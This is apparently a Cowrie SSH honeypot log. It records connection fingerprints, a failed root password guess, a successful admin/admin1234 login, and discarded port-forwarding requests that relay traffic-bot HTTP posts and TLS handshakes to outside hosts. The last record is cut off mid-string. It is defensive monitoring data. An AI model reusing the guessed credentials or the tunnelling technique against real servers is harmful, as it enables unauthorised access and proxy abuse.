{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:24:27.173998Z","src_ip":"101.79.165.43","session":"263b4adbfd49","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:24:27.391265Z","src_ip":"101.79.165.43","session":"263b4adbfd49","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.0","message":"Connection lost after 7.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:24:27.957242Z","src_ip":"27.71.230.31","session":"a82ceb89061a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abcd123456!","message":"login attempt [root/abcd123456!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:24:28.303649Z","src_ip":"101.79.165.43","session":"263b4adbfd49","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:24:29.524398Z","src_ip":"101.79.165.43","session":"263b4adbfd49","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"113.164.152.20","src_port":54813,"dst_ip":"10.17.0.5","dst_port":22,"session":"5085becf67e3","protocol":"ssh","message":"New connection: 113.164.152.20:54813 (10.17.0.5:22) [session: 5085becf67e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:24:32.771347Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:24:32.775572Z","src_ip":"113.164.152.20","session":"5085becf67e3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:24:33.086236Z","src_ip":"113.164.152.20","session":"5085becf67e3","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:24:34.323103Z","src_ip":"113.164.152.20","session":"5085becf67e3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:24:34.737651Z","session":"5085becf67e3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:24:34.916593Z","session":"5085becf67e3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:24:35.019435Z","src_ip":"113.164.152.20","session":"5085becf67e3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 11_2_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/86.0.4240.75 Mobile/15C153 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1156\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=NDkkZ3MpJFEjalIkKHBtdw%3D%3DwKzeAivDj8NyBemGGxNfB0KsIu3jo7AIdI90lW0BK0khD0w9NTlskvmTW71j0loyp2kxBc0F9GyMzmSczPGS2azklpCPFXbf3NWJ%2F%2BCrTRJVU5a%2BcB1nEjpjVWS6JG7H1usJFvHpMxFyxBCnPz2F76apurwicCX3oPWNhmWTgh8Z8FjrUaM4%2FDKPIx9B5CpiDvVvWTiSqOcxDh2jWv7jF6fEvfKPhF8D7JMKgpMLZ3D422Tkidsa16usDsK9TXsaCj%2BjGRylK0ADqMW6bvaPecyMcPRvHkRvvkcjgv0rE2QuaesYLWMrz6H%2FJOqFHxxj%2FbBG5X7o1ioIFmcOleTQs8LlHs2F5BbGp%2Ft%2FqEG5FNU2KDbHeemZGj3y0Tv8YRjcplirrjFuQBLQVGIi1TyFdx%2F00Wr65F9LKWbeetyUNTyJFskCt9qJJxymFCh%2F55%2BMpgoeLcGbW5Q4BeJ0N%2BU1JZ1e3G9Y8Zr2H79nZ32dMCoyXsN9vkyRA2McmDPZrYeTiT6GYhzxx2G4Fn1pKEf1vilLLPUEmG62EV6yK4AdhGbMSERLpUF9MsgJrDhnKJxVNU%2FNgnWyghqPfolwn3N659rGPyL4RTxfqWqJevig3QKGsnxiVwKjKQwhDWcUIYi1LYWqMQorK40KuMdcdG9EwnTfn8xsTSUCSaJNfb9oD5RGFH7DhXBotrOE2hSBb9aIHtPgkGBQCH%2Bxb9xSi5kAuHcE2MK2RqZMcmuWwD4JcL1WA%2B1XRIxRgpzeN4vKv4O%2BcJYHeAJ0VARxYy%2FHK2zHyJ4pAQyP7ieb5f9pOXe%2B72bCdrPlBcylCvTcGu%2BJxxI%2FXg1hqYNU%2F092JZD3dulpkMquAoaXZO9IGdl5qyiMcfyz7lc43ZUPnQDjNys3oYPE9eUN5ZI%2Byn3OOwYsrfxjYmGdOI%2BYOpc%2F24NmSBT09fc%2FGeGo6CWLhjOjvDqzdqR3J75PLqvbiMKD2TV9YnOy21jq1%2BTOqj4cvW%2BxYhYYJN4TuJikgbaQj9HBVcI07CjKU9wt4GSMiGi2yRhpVCcJnDEAdGUwBnHDGGSjXBigkD8%3D'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 11_2_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/86.0.4240.75 Mobile/15C153 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1156\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=NDkkZ3MpJFEjalIkKHBtdw%3D%3DwKzeAivDj8NyBemGGxNfB0KsIu3jo7AIdI90lW0BK0khD0w9NTlskvmTW71j0loyp2kxBc0F9GyMzmSczPGS2azklpCPFXbf3NWJ%2F%2BCrTRJVU5a%2BcB1nEjpjVWS6JG7H1usJFvHpMxFyxBCnPz2F76apurwicCX3oPWNhmWTgh8Z8FjrUaM4%2FDKPIx9B5CpiDvVvWTiSqOcxDh2jWv7jF6fEvfKPhF8D7JMKgpMLZ3D422Tkidsa16usDsK9TXsaCj%2BjGRylK0ADqMW6bvaPecyMcPRvHkRvvkcjgv0rE2QuaesYLWMrz6H%2FJOqFHxxj%2FbBG5X7o1ioIFmcOleTQs8LlHs2F5BbGp%2Ft%2FqEG5FNU2KDbHeemZGj3y0Tv8YRjcplirrjFuQBLQVGIi1TyFdx%2F00Wr65F9LKWbeetyUNTyJFskCt9qJJxymFCh%2F55%2BMpgoeLcGbW5Q4BeJ0N%2BU1JZ1e3G9Y8Zr2H79nZ32dMCoyXsN9vkyRA2McmDPZrYeTiT6GYhzxx2G4Fn1pKEf1vilLLPUEmG62EV6yK4AdhGbMSERLpUF9MsgJrDhnKJxVNU%2FNgnWyghqPfolwn3N659rGPyL4RTxfqWqJevig3QKGsnxiVwKjKQwhDWcUIYi1LYWqMQorK40KuMdcdG9EwnTfn8xsTSUCSaJNfb9oD5RGFH7DhXBotrOE2hSBb9aIHtPgkGBQCH%2Bxb9xSi5kAuHcE2MK2RqZMcmuWwD4JcL1WA%2B1XRIxRgpzeN4vKv4O%2BcJYHeAJ0VARxYy%2FHK2zHyJ4pAQyP7ieb5f9pOXe%2B72bCdrPlBcylCvTcGu%2BJxxI%2FXg1hqYNU%2F092JZD3dulpkMquAoaXZO9IGdl5qyiMcfyz7lc43ZUPnQDjNys3oYPE9eUN5ZI%2Byn3OOwYsrfxjYmGdOI%2BYOpc%2F24NmSBT09fc%2FGeGo6CWLhjOjvDqzdqR3J75PLqvbiMKD2TV9YnOy21jq1%2BTOqj4cvW%2BxYhYYJN4TuJikgbaQj9HBVcI07CjKU9wt4GSMiGi2yRhpVCcJnDEAdGUwBnHDGGSjXBigkD8%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:24:35.022683Z","src_ip":"113.164.152.20","session":"5085becf67e3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:24:35.295466Z","src_ip":"113.164.152.20","session":"5085becf67e3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xa1\\x92\\x8c\\x9a\\xe1g\\xd7\\xcf\\x91\\xe4[\"\\xbd0\\xa0\\xa4\\xb0\\xe0u\\xaa\\xef\\xee\\x01\\xdb\\x99\\xb9O\\x01\\xa0w*\\xa4 V\\x1b\\xce\\xa3\\x9d\\x8aV\\x96\\xed\\xf5\\xd5\\x01/5\\x0f\\xc0\\x9b\\x86\\xc1\\x13\\xe03\\xc25^o\\x8d\\xad\\xfe\\xec\\x16^\\x00 \\xea\\xea\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93JJ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08ZZ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)ZZ\\x00\\x01\\x00\\x00\\x1d\\x00 ^r\\x9eEse\\x8e\\x10\\x99\\x8b0\\xe9\\xe9u\\xaa\\xe47\\xbf\\xf5\\xed\\xde4\\x16\\x01\\xc8\\xff\\xc6\\x12\\x91\\xdf>^\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x9a\\x9a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xba\\xba\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xa1\\x92\\x8c\\x9a\\xe1g\\xd7\\xcf\\x91\\xe4[\"\\xbd0\\xa0\\xa4\\xb0\\xe0u\\xaa\\xef\\xee\\x01\\xdb\\x99\\xb9O\\x01\\xa0w*\\xa4 V\\x1b\\xce\\xa3\\x9d\\x8aV\\x96\\xed\\xf5\\xd5\\x01/5\\x0f\\xc0\\x9b\\x86\\xc1\\x13\\xe03\\xc25^o\\x8d\\xad\\xfe\\xec\\x16^\\x00 \\xea\\xea\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93JJ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08ZZ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)ZZ\\x00\\x01\\x00\\x00\\x1d\\x00 ^r\\x9eEse\\x8e\\x10\\x99\\x8b0\\xe9\\xe9u\\xaa\\xe47\\xbf\\xf5\\xed\\xde4\\x16\\x01\\xc8\\xff\\xc6\\x12\\x91\\xdf>^\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x9a\\x9a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xba\\xba\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:24:35.298542Z","src_ip":"113.164.152.20","session":"5085becf67e3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:24:35.859549Z","session":"5085becf67e3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:24:36.140622Z","src_ip":"113.164.152.20","session":"5085becf67e3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xaa\\x17x\\xe9Tv\\x0bB\\xb5\\xc5t\\xbb\\x9c\\x9fMT\\x83\\x8bo\\xaaW6\\xb8\\xd5O\\x10w\\xa0\\x9b?\\x1e( \\x91R\\xbd\\x88\\x82\\x18\\x93U\\xeb\\xf7,\\xc6s\\xb3\\x91;t*\\xa3\\xf4\\xe8d\\x0cW\\x99\\x14\\xefR\\xff(\\xec\\x7f\\x00\"JJ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\n\\n\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08jj\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)jj\\x00\\x01\\x00\\x00\\x1d\\x00 E\\xc5\\xa1f\\x016\\x96\\xba\\x8f\\xc7O\\x83\\xe6\\x8b\\r\\xae )*o\\xc5\\x1eR\\x86)\\x13tN\\x8b\\xebKT\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xea\\xea\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xaa\\xaa\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xaa\\x17x\\xe9Tv\\x0bB\\xb5\\xc5t\\xbb\\x9c\\x9fMT\\x83\\x8bo\\xaaW6\\xb8\\xd5O\\x10w\\xa0\\x9b?\\x1e( \\x91R\\xbd\\x88\\x82\\x18\\x93U\\xeb\\xf7,\\xc6s\\xb3\\x91;t*\\xa3\\xf4\\xe8d\\x0cW\\x99\\x14\\xefR\\xff(\\xec\\x7f\\x00\"JJ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\n\\n\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08jj\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)jj\\x00\\x01\\x00\\x00\\x1d\\x00 E\\xc5\\xa1f\\x016\\x96\\xba\\x8f\\xc7O\\x83\\xe6\\x8b\\r\\xae 